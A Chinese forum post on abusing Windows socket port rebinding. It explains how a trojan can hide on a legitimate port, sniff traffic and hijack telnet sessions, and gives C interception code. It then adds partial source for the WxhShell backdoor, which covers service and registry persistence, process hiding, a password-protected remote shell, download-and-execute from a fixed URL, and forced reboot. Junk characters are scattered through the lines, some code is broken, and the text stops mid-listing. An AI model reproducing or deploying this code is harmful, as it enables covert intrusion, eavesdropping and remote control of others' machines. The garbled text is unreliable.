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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o>6c?Xi&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xU1_L*tu '  
Y>/T+ub  
  saddr.sin_family = AF_INET; qa\e`LD%Y  
!K8Kw W|X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `WUyffS/!  
o2 ;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r|_@S[hZg  
Hk1[0)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &G|^{!p/G  
e=cb%  
  这意味着什么?意味着可以进行如下的攻击: t/wo G9N  
EED0U?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 33=lR-N#  
&o;d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^Q\Hy\  
,M.phRJ-`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o"V+W  
1K UM!DUD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /h7u E  
%/4_|.8u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2dyS_2u  
EY`]""~8v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .6=;{h4cpB  
`53S[8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d=p=eUd2  
dC<2%y  
  #include EzeU-!|W  
  #include 2<T/N  
  #include .OpG2P  
  #include    lu?:1V-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I7#^'/  
  int main() SHYbQF2  
  { -q]5@s/  
  WORD wVersionRequested; lhC^Upqw  
  DWORD ret; 8og8;#mnyr  
  WSADATA wsaData; 9/`3=r@  
  BOOL val; K(uz`(5  
  SOCKADDR_IN saddr; bt};Pn{3  
  SOCKADDR_IN scaddr; jL7r1pu5  
  int err; =fy\W=c  
  SOCKET s; 1u8hnG  
  SOCKET sc; /^L <q  
  int caddsize; ~dC.,"  
  HANDLE mt; 2 :4o`o  
  DWORD tid;   >V>`}TIH  
  wVersionRequested = MAKEWORD( 2, 2 ); >WA'/Sl<A<  
  err = WSAStartup( wVersionRequested, &wsaData ); m5o$Dus+?'  
  if ( err != 0 ) { k. NJ+  
  printf("error!WSAStartup failed!\n"); `TYC]9  
  return -1; r1Hh @sxn  
  } c*y*UG  
  saddr.sin_family = AF_INET; ^?2zoS#iw  
   O ^!Bc}$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lbX YWZ~7  
EOZ 6F-':  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A>8~deZ9  
  saddr.sin_port = htons(23); {<$tEj:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W ' ~s  
  { E4'z  
  printf("error!socket failed!\n"); n2~WUK  
  return -1; dC;&X g`  
  } |@~_&g  
  val = TRUE; J(K/z,4h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4TI`   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )4h|7^6ji  
  { $@vB<(sk  
  printf("error!setsockopt failed!\n"); L/E7xLz  
  return -1; }.pqV X{ d  
  } ,6X__Z#rGT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VC0Tqk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d!46`b$rd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 teI?.M9r  
=''WA:,=h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k ~Q 5Cs  
  { E=CAWj\  
  ret=GetLastError(); -LT!LBnEkf  
  printf("error!bind failed!\n"); KxD/{0F  
  return -1; d#XgO5eyO  
  } 9Zj3"v+b  
  listen(s,2); /E2P  
  while(1)  4Y}Nu  
  { xAl8e  
  caddsize = sizeof(scaddr); U?d  I  
  //接受连接请求 b`$qKO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "O-X*>?f  
  if(sc!=INVALID_SOCKET) oc]:Ty  
  { O$;#GpR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rnoz[1y?0  
  if(mt==NULL) $U. |  
  { t)Cf]]dV  
  printf("Thread Creat Failed!\n"); ^ >&#F[aT  
  break; ',xUU{5?  
  } JV@G9PT  
  } J}[[tl  
  CloseHandle(mt); f^*Yqa  
  } >e& L"  
  closesocket(s); 0;@>jo6,!  
  WSACleanup(); kW2DKr-[  
  return 0; Ynvf;qs  
  }   m< )`@6a/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 99`w'Nlk  
  { @8>bp#x/1  
  SOCKET ss = (SOCKET)lpParam; 4_iA<}>|  
  SOCKET sc; 7l$ u.[  
  unsigned char buf[4096]; 6pSTw\/6  
  SOCKADDR_IN saddr; Axns  
  long num; |nWEuKHy  
  DWORD val; 3~bB2APk  
  DWORD ret; PuREqa\_[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vG'#5%,|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q.$Rhjb  
  saddr.sin_family = AF_INET; 7 s{vou  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =f y|Dm74  
  saddr.sin_port = htons(23); lH`TF_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~G@YA8}  
  { ^~-YS-.J#,  
  printf("error!socket failed!\n"); s5{=lP  
  return -1; ,8Po _[  
  } "Kp#Lx  
  val = 100; C0/^6Lu"o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Z3K ~  
  { 2[Lv_<i|  
  ret = GetLastError(); Ad>81=Z  
  return -1; J_Tz\bZ3)  
  } po*8WSl9c[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a{r"$>0  
  { WYTqQqQk  
  ret = GetLastError(); ap )B%9  
  return -1; Rr %x;-  
  } c/tB_]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 96<oX:#  
  { j; y~vX b  
  printf("error!socket connect failed!\n"); ;j/$%lC  
  closesocket(sc); p9?kJKN  
  closesocket(ss); 7$lnCvm  
  return -1; <C&|8@A0  
  } >*h+ N? m  
  while(1) a24 AmoWx  
  { Zf@B< m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2=Naq Ht(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s2G9}i{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ap}p?r  
  num = recv(ss,buf,4096,0); Na/Y1RW  
  if(num>0) zq{UkoME  
  send(sc,buf,num,0); $xZ ~bE9  
  else if(num==0) ?=M ?v;8  
  break; f; |fS~  
  num = recv(sc,buf,4096,0); zVw5(Tc  
  if(num>0) lUs$I{2_  
  send(ss,buf,num,0); - C q;  
  else if(num==0) \6SjJ]o>  
  break; &}k7iaO  
  } W]ca~%r  
  closesocket(ss); WqNXE)'  
  closesocket(sc); ALTOi?  
  return 0 ; N~O3KG q  
  } f(m, !  
GmWr  
,sAAV%" >  
========================================================== &su'znLV  
Cr7Zi>sd<!  
下边附上一个代码,,WXhSHELL c("|xe  
*pJGp:{6V?  
========================================================== V+ ("kz*  
:9UgERjra  
#include "stdafx.h" 4Lt9Dx1  
RtMI[  
#include <stdio.h> H/O.h@E4X  
#include <string.h> QE(.w dHP  
#include <windows.h> &*<27-x  
#include <winsock2.h> M@A3+ v%K  
#include <winsvc.h> I1E9E$m5\<  
#include <urlmon.h> SU~a()"  
F(HfXY3  
#pragma comment (lib, "Ws2_32.lib") Sf,z  
#pragma comment (lib, "urlmon.lib") ]u_j6y!  
elCYH9W^  
#define MAX_USER   100 // 最大客户端连接数 2H|:/y  
#define BUF_SOCK   200 // sock buffer _AX 9 Mu]  
#define KEY_BUFF   255 // 输入 buffer :]-oo*xP  
]^~}/@  
#define REBOOT     0   // 重启 ^ F]hW  
#define SHUTDOWN   1   // 关机 m;OvOc,  
A#"Wk]jX  
#define DEF_PORT   5000 // 监听端口 lnZ{Ryo(  
C$y6^/7)  
#define REG_LEN     16   // 注册表键长度 >D,Oav  
#define SVC_LEN     80   // NT服务名长度 Kq")\Ha,f  
!!1?2ine  
// 从dll定义API +FT c/r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b&z#ZY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c|Ivet>3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5CkG^9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A>@#eyB  
JtL> mH  
// wxhshell配置信息 J6Z[c*W  
struct WSCFG { NfgXOLthM  
  int ws_port;         // 监听端口 Xsq@E#@S  
  char ws_passstr[REG_LEN]; // 口令 ?,vLRq.  
  int ws_autoins;       // 安装标记, 1=yes 0=no n1f8jS+'}  
  char ws_regname[REG_LEN]; // 注册表键名 ?*fa5=ql  
  char ws_svcname[REG_LEN]; // 服务名 Ma^jy.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }@r23g%   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}vibDq p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AjVC{\Ik  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t%=7v)IOE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r6DLShP-Ur  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uwNJM  
!m@cTB7i   
}; #t+?eye~  
sl'4AK~\  
// default Wxhshell configuration X{-4w([  
struct WSCFG wscfg={DEF_PORT, -+".ut:R  
    "xuhuanlingzhe", CsO!Y\'FY  
    1, my 'nDi  
    "Wxhshell", .a%6A#<X  
    "Wxhshell", 37U8<  
            "WxhShell Service", ^)AECn  
    "Wrsky Windows CmdShell Service", t;8)M $ p  
    "Please Input Your Password: ", 6$`<Y?  
  1, uJ% <+I  
  "http://www.wrsky.com/wxhshell.exe", -^@FZ R^Y  
  "Wxhshell.exe" /JD}b[J$  
    }; BIx*t9wA  
|Xso}Y{  
// 消息定义模块 QK-aH1r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %BI8m|6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i fsh(^N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; km %r{  
char *msg_ws_ext="\n\rExit."; )PYPlSQ*V  
char *msg_ws_end="\n\rQuit."; AiqKf=  
char *msg_ws_boot="\n\rReboot..."; y1V}c ,  
char *msg_ws_poff="\n\rShutdown..."; X5)D[aE6  
char *msg_ws_down="\n\rSave to "; pS?D~0Nb  
omfX2Oa2  
char *msg_ws_err="\n\rErr!"; FnGKt\  
char *msg_ws_ok="\n\rOK!"; SoIK<*J  
l)u%`Hcn  
char ExeFile[MAX_PATH]; lu#a.41  
int nUser = 0; RD`|Z~:q:K  
HANDLE handles[MAX_USER]; x;mw?B[  
int OsIsNt; HhbBt'fH  
}QE.|.fA1  
SERVICE_STATUS       serviceStatus; :5kDc" =Z|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZU\$x<,  
z teu{0  
// 函数声明 m#+0m!  
int Install(void); ?eJ'$  
int Uninstall(void); 8eT#- 9q@  
int DownloadFile(char *sURL, SOCKET wsh); e~vO   
int Boot(int flag); &8VH m?h  
void HideProc(void); 1jC85^1Taq  
int GetOsVer(void); _S_,rTf&  
int Wxhshell(SOCKET wsl); H I9/  
void TalkWithClient(void *cs); 6~dAK3v5  
int CmdShell(SOCKET sock); E~y8X9HZ)  
int StartFromService(void); \`k=9{R.  
int StartWxhshell(LPSTR lpCmdLine); <"Y>|X  
X}#vt?mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -@AhJY.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9SC1A-nF  
<$A,|m  
// 数据结构和表定义 < F5VJ  
SERVICE_TABLE_ENTRY DispatchTable[] = FK BRJ5O  
{ rfDGS%!O%  
{wscfg.ws_svcname, NTServiceMain}, A1zRzg4I  
{NULL, NULL} ,ei9 ?9J1  
}; [n9l[dN  
A!Tl  
// 自我安装 TG=A]--_a  
int Install(void) <EnmH/C.  
{ d.}65{F,x  
  char svExeFile[MAX_PATH]; 5Sl"1HL  
  HKEY key; bB@=J~l4  
  strcpy(svExeFile,ExeFile); 1c,#`\Iikd  
f@sC~A. 9\  
// 如果是win9x系统,修改注册表设为自启动 J>X@g;  
if(!OsIsNt) { F6vsU:TfB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } W]A`-Jv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ij:xr% FJ  
  RegCloseKey(key); :h,}yBJ1L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #8jiz+1 _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); **P P  
  RegCloseKey(key); tDETRjTA  
  return 0; :%sG'_d  
    } EG4~[5[YgI  
  } jP+{2)z"W  
} H[w';u[%  
else { H@- GYX"4  
{]Mwuqn  
// 如果是NT以上系统,安装为系统服务 Dp ['U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WG,Il/  
if (schSCManager!=0) Vu_oxL}  
{ xS,F DPA  
  SC_HANDLE schService = CreateService t<Sa ;[+  
  ( rFcz 0  
  schSCManager, /%&5Iq\:vA  
  wscfg.ws_svcname, T=NLBJ  
  wscfg.ws_svcdisp, 5[g&0  
  SERVICE_ALL_ACCESS, tF[) Y#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &fRz6Hd  
  SERVICE_AUTO_START, 7j|CWurvq  
  SERVICE_ERROR_NORMAL, $,Q] GIC  
  svExeFile, q%d,E1  
  NULL, _G)A$6weU  
  NULL, ;/NC[:'$D  
  NULL, .{eMN[ n@  
  NULL, Sv=e|!3f[k  
  NULL L'Iw9RAJ  
  ); ftmP dha%+  
  if (schService!=0) }r18Y6  
  { {$t*XTY6R  
  CloseServiceHandle(schService); ZxO o&YR3  
  CloseServiceHandle(schSCManager); 7Z9'Y?[m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B0 A`@9  
  strcat(svExeFile,wscfg.ws_svcname); o]V.6Ge-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qu<6X@+5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +hKU]DP2;  
  RegCloseKey(key); $S>bcsAy  
  return 0; %J'/cmR&  
    } IAbQgBvUD  
  } (z;lNl(*C  
  CloseServiceHandle(schSCManager); ;d>n2  
} Bi9Q8#lh  
} >aVtYp B  
*Dq ++  
return 1; ?=)lbSu K  
} QiA}0q3]0  
WnGi;AGH=1  
// 自我卸载 iM7 ^  
int Uninstall(void) s[eSPSFZ  
{ va QsG6q[  
  HKEY key; *BrGh  
A *:| d~  
if(!OsIsNt) { '+l"zK ]L-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y6Y"fb%K  
  RegDeleteValue(key,wscfg.ws_regname); 4V{&[ Z  
  RegCloseKey(key); oR8'^G0<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,j{tGj_  
  RegDeleteValue(key,wscfg.ws_regname); \7h>9}wGf  
  RegCloseKey(key); fp(zd;BSQ  
  return 0; t%e<]2-8  
  } J9;fqQCt  
} g/68& M  
} >h:'Z*9  
else { -B/'ArOo]  
cGm?F,/`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9%SC#V'  
if (schSCManager!=0) [f { qb\  
{ WZHw(BN{+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Op^3WWyY  
  if (schService!=0) p<\!{5:   
  { `#W+pO  
  if(DeleteService(schService)!=0) { s8's(*]  
  CloseServiceHandle(schService); %A3m%&(m&%  
  CloseServiceHandle(schSCManager); Hn(Eut7%  
  return 0; qe(gKKA%q  
  } boDD?0.|  
  CloseServiceHandle(schService); Vh;|qF 9  
  } \`z%5/@f;  
  CloseServiceHandle(schSCManager); }%PK %/ zI  
} 21Dc.t{  
} >r\GB#\5  
C+M]"{Y+  
return 1; DOGGQ$0  
} \6MM7x(U3  
Gt?l 2s  
// 从指定url下载文件 NZZy^p&O  
int DownloadFile(char *sURL, SOCKET wsh) i5Sya]FN  
{ 1,h:|  
  HRESULT hr; uh.;Jj;  
char seps[]= "/"; s I\-0og  
char *token; )qMbk7:v\  
char *file; EN[T3 Y  
char myURL[MAX_PATH]; gjz-CY.hz  
char myFILE[MAX_PATH]; )=iv3nF?6N  
i\^4EQ  
strcpy(myURL,sURL);  7 FY2a  
  token=strtok(myURL,seps); bW! &n  
  while(token!=NULL) [[^95:  
  { ilK*Xo  
    file=token; "@hd\w{.  
  token=strtok(NULL,seps); *k8?$(  
  } _4)z:?G5  
#| ,cy,v4  
GetCurrentDirectory(MAX_PATH,myFILE); ~ffT}q7^  
strcat(myFILE, "\\"); 6hd<ys?  
strcat(myFILE, file); l"}_+5  
  send(wsh,myFILE,strlen(myFILE),0); bFajK;  
send(wsh,"...",3,0); ;>5`Y8s6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :8oJG8WH  
  if(hr==S_OK) q!'p   
return 0; ,G}i:7  
else KgkRs?'z  
return 1; \ B84  
$57b.+2n  
} M$Z2"F;  
vaP`'  
// 系统电源模块 ]7K2S{/o{  
int Boot(int flag) J+E,UiZU  
{ m Rw0R{  
  HANDLE hToken; J=$\-  
  TOKEN_PRIVILEGES tkp; /QyKXg6)l  
r)}U 'iv*%  
  if(OsIsNt) { &5R|{',(Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ws`ndR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T{3nIF  
    tkp.PrivilegeCount = 1; C[ mTVxd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [F-GaaM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +Z|3[#W  
if(flag==REBOOT) { L0!CHP/nRS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ C0v -  
  return 0; 1F`jptVQ\G  
} Wj(#!\ 7F  
else { I@9'd$YY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZzupK^5Z  
  return 0; b),fz  
} %k1Pyv;]  
  } @0@ZlH wM  
  else { ]9y\W}j  
if(flag==REBOOT) { l^Rb%?4Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,.W7Z~z  
  return 0; ,?|$DY+=  
} ?PT> V,&  
else { _&#{cCo:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2Ckx.m&  
  return 0; z2uL[deN'"  
} =,(TP  
} Ck Nl;g l  
?qaWt/m  
return 1; Y/FPkH4  
} aE`d[d SG  
ccHf+=  
// win9x进程隐藏模块 ~_D.&-xUF  
void HideProc(void) K@O^\  
{ y'K2#Y~1e  
K] (*l"'U5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (jc& Fk  
  if ( hKernel != NULL ) q#W|fkfx+  
  { EsMX #1>/m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C_Ewu*T7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \EySKQ=  
    FreeLibrary(hKernel); Db,"Gl  
  } \_ 3>v5k|  
__g k:a>oQ  
return; p%3z*2,(  
} \l~^dn}  
ef7{D P  
// 获取操作系统版本 R c+olJ^5  
int GetOsVer(void) aTuu",f  
{ mn/)_1',  
  OSVERSIONINFO winfo; \wK&wRn)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !!y]pMjJa@  
  GetVersionEx(&winfo); o.{W_k/n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0<uek  
  return 1; Ktq4b%{  
  else }5;4'l8  
  return 0; x}+zhRJ  
} kFn/dQ4|  
51jgx,-|$  
// 客户端句柄模块 s?w2^<P  
int Wxhshell(SOCKET wsl) dHc\M|HCC  
{ e&}W#  
  SOCKET wsh; i2,4:M)CV  
  struct sockaddr_in client; MiT0!6Pg  
  DWORD myID; XQ#K1Z  
nkW})LyB\  
  while(nUser<MAX_USER) 7~Y\qJ4b  
{ .kT]^rv ;  
  int nSize=sizeof(client); b@Ej$t&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qoO`)<  
  if(wsh==INVALID_SOCKET) return 1; VdlT+'HF  
8xPt1Sotq[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o,6t: ?Z  
if(handles[nUser]==0) @Rr=uf G  
  closesocket(wsh); 0q}i5%m7  
else jn<?,UABD  
  nUser++; B9maz"lJ  
  } `6Bx8CZ'I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vO}r(kNJ  
v e&d"8+]  
  return 0; JrzPDb`m  
} 'f5 8Jwql  
m$T5lKn}U?  
// 关闭 socket xfYKUOp/  
void CloseIt(SOCKET wsh) \|HEe{nA  
{ Q{[@n  
closesocket(wsh); aAg Qv*  
nUser--; a(gXvgrf[  
ExitThread(0); J @Hg7Faz  
} Aa ~W,  
6"&cQ>$xh  
// 客户端请求句柄 Tagf7tw4  
void TalkWithClient(void *cs) mY"7/dw<v  
{ DL?nvH  
#,u|*O:  
  SOCKET wsh=(SOCKET)cs; BqY_N8l&E  
  char pwd[SVC_LEN]; s<)lC;#e  
  char cmd[KEY_BUFF]; hd u2?v@  
char chr[1]; XIbZ_G^ +D  
int i,j; 2Jio_Hk  
YT Zi[/  
  while (nUser < MAX_USER) { Z sTtSM\Ac  
u }gavG l  
if(wscfg.ws_passstr) { m^G(qoZ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kB> ~Tb0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =I'3C']Z W  
  //ZeroMemory(pwd,KEY_BUFF); EP 4]#]5  
      i=0; -g]Rs!w'  
  while(i<SVC_LEN) { J+J,W5t^  
+ti ?7|bK<  
  // 设置超时 U8w_C\Q  
  fd_set FdRead; w_xca(  
  struct timeval TimeOut; Wc[,kc  
  FD_ZERO(&FdRead); =d<RgwscJ  
  FD_SET(wsh,&FdRead); ^k;]"NR  
  TimeOut.tv_sec=8; .mt%8GM  
  TimeOut.tv_usec=0; lGl'A}]#$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NEIkG>\7q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <4"-tYa  
{P]C>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V@G#U[D  
  pwd=chr[0]; @#)` -]g  
  if(chr[0]==0xd || chr[0]==0xa) { pn gto  
  pwd=0; 6'r8.~O  
  break; Ki\.w~Qs  
  } '6#G$  
  i++; \ ;npdFy  
    } !Qe ;oMqy}  
4^tSg#!V{  
  // 如果是非法用户,关闭 socket hm`=wceK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GQqGrUQ*}  
} l@4_D;b3o"  
N Qk aW)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  5&&4-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b-&iJ &>'  
&riGzU]  
while(1) { +jGHR& A t  
CubQ6@,  
  ZeroMemory(cmd,KEY_BUFF); ;*<tU n^t  
;sZG=y@  
      // 自动支持客户端 telnet标准   /\I6j;$z  
  j=0; (^d7K:-'  
  while(j<KEY_BUFF) { z)qYW6o%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WQK<z!W5  
  cmd[j]=chr[0]; 7A)\:k  
  if(chr[0]==0xa || chr[0]==0xd) { <'a~Y3B"o  
  cmd[j]=0; %ou,|Dww  
  break; jFj11w1FrA  
  } \<4N'|:  
  j++; ;b$P*dSG}  
    } H_DCdUgC'  
{PHH1dC{  
  // 下载文件 `8:)? 0Ez  
  if(strstr(cmd,"http://")) { yB b%#GW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H U|.5tP  
  if(DownloadFile(cmd,wsh)) 3S0.sU~_U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kg[OUBv  
  else nw+~:c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > H!sD\b  
  } 3o<d= @`r  
  else { e~o!Qm  
3db{Tcn\@]  
    switch(cmd[0]) { &`"DG$N(  
  P6:9o}K6  
  // 帮助  +\/Q  
  case '?': { ~ZHjP_5Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3[YG BM(  
    break; :RaQ =C  
  } t&r.Kf9Z\  
  // 安装 dGIdSQ~ _  
  case 'i': { 1|bXIY.J*  
    if(Install()) :cT)M(o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,T/Gv;wa2  
    else p@ <Q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h3ygL"k  
    break; [BWq9uE  
    } =$>=EBH,cm  
  // 卸载 @KN+)qP  
  case 'r': { ( xs'D4  
    if(Uninstall()) ?|nl93m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*{L[c9.Uq  
    else SeX]|?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1'kO{Ge*p:  
    break; 9^gYy&+>6]  
    } 7- B.<$uC  
  // 显示 wxhshell 所在路径 }K{1Bm@S  
  case 'p': { !`69.v  
    char svExeFile[MAX_PATH]; mw @Pl\=  
    strcpy(svExeFile,"\n\r"); a)_3r]sv^  
      strcat(svExeFile,ExeFile); }LHYcNw^z  
        send(wsh,svExeFile,strlen(svExeFile),0); xL}i9ozZ  
    break; &i#$ia r  
    } dkQ4D2W*\  
  // 重启 j-<]OOD  
  case 'b': { '-iEbE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L^J4wYFTO  
    if(Boot(REBOOT)) GO"`{|o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s :vNr@TS  
    else { DUp`zW;B  
    closesocket(wsh); S?J!.(  
    ExitThread(0); tKbxC>w  
    } CM6% g f3  
    break; =i/Df ?  
    } z@*E=B1L  
  // 关机 f|[7LIdh-  
